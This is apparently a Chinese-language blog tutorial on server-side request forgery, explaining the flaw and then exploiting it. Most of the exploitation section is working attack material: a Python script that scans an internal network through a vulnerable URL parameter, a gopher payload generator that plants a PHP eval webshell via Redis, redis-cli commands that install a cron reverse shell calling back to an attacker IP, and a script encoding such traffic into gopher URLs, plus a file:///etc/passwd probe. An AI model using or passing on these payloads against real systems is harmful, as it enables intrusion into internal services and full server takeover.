ssrf漏洞
内容
- ssrf漏洞介绍
- ssrf漏洞原理
- ssrf漏洞挖掘
- ssrf攻击利用
ssrf漏洞介绍
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
简单来说就是利用外部能够访问到的web应用程序作为跳板对无法访问的内网进行攻击,常见的有:文件读取,端口开放发现,攻击内网开放的redis,mysql服务等
ssrf漏洞原理
web应用程序使用了如curl,file_get_content()等能够进行远程请求的函数,但是在对请求的url参数并没有做严格的校验和过滤,于是如果将传入的参数设置为内网的ip,就能够对web应用程序的内网资源进行探测扫描,甚至攻击内网开放的服务
ssrf漏洞挖掘
ssrf漏洞一半出现在有调用外部资源的场景中,如社交服务的分享,图片识别,网站信息采集,远程资源求情,文件处理服务,解析资源等。
在测试的时候可以使用如下协议进行探测
file:// 从文件系统获取文件内容,常用的探测poc file:///etc/passwd
dict:// 字典服务器协议,如开放了redis服务 dict://ip:6379/info
gopher:// 使用gopher协议时,能够通过控制访问的url实现向指定的服务器发送任意内容,如http请求,redis请求等等
ssrf攻击利用
- 内网资源探测
1
2
3
4
5
6
7
8
9
10
11
12
13import request
ports = [22,23,80,443,3306,4000,6379,8000,8080]//可以按需求添加
session = request.session()
for i in range(255):
ip = '192.168.2.{}'.format(i)
for port in ports:
url = 'http://xxx.com?url=http://{}:{}'.format(ip,port)
try res = session.get(url,timeout=5)
if len(res.content)>0:
print(ip,port)
except:
pass
print("----------end------------") - gopher协议攻击内网服务
最常用的gopher打redis,当探测出6379端口的时候,很有可能内网开放了redis服务,而一般来说redis是可以匿名访问的,攻击redis的手段通常有在web根目录下写入shell;写入反弹shell;如果没有在redis.conf将daemonize no改为yes 和protected-mode no改为yes的话就很容易造成写入ssh公钥直接以root权限,直接以root权限控制整个服务器
web根目录下写入webshell
这里就借用一下七友师傅的exp了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33'''出处https://byqiyou.github.io/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/
'''
import urllib
protocol="gopher://"
ip=""#设置ip
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"#shell可根据后端语言修改
filename="shell.php"
path="/var/www/html"#一般web服务都部署在这个目录下
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload - 写入cron的反弹shell
在虚拟机开放redis服务 ./redis-server redis.conf,并且使用socat将1234端口转发到6379端口上,监听1234端口 socat -v tcp-listen:1234,fork tcp-connect:localhost:6379
在攻击机上写入攻击命令监听处1
2
3
4
5
6
7
8root@LAPTOP-60MTI4MA:~# redis-cli -h 受害者ip -p 1234 flushall
root@LAPTOP-60MTI4MA:~# echo -e "\n\n*/1 * * * * bash -i /dev/tcp/172.17.173.107/1234 0>&1\n\n" | redis-cli -h 受害者ip -p 1234 -x set 1
OK
root@LAPTOP-60MTI4MA:~# redis-cli -h 受害者ip -p 1234 config set dir /var/spool/cron
OK
root@LAPTOP-60MTI4MA:~# redis-cli -h 受害者ip -p 1234 config set dbfilename root
OK
root@LAPTOP-60MTI4MA:~# redis-cli -h 受害者ip -p 1234 save
将其转为gopher协议格式,舍弃><和+ok将”\r”替换成”%0d”,”换行”替换成”%0a”,$进行url编码得到转成之后nc -lvp监听反弹端口 curl -v gopher://ip:6379/_exp获取反弹shell1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27#python2
#author: JoyChou
import sys
exp = ''
with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '><+':
continue
# 判断倒数第2、3字符串是否为\r
elif line[-3:-1] == r'\r':
# 如果该行只有\r,将\r替换成%0a%0d%0a
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
# 去掉最后的换行符
line = line.replace('\n', '')
exp = exp + line
# 判断是否是空行,空行替换为%0a
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print exp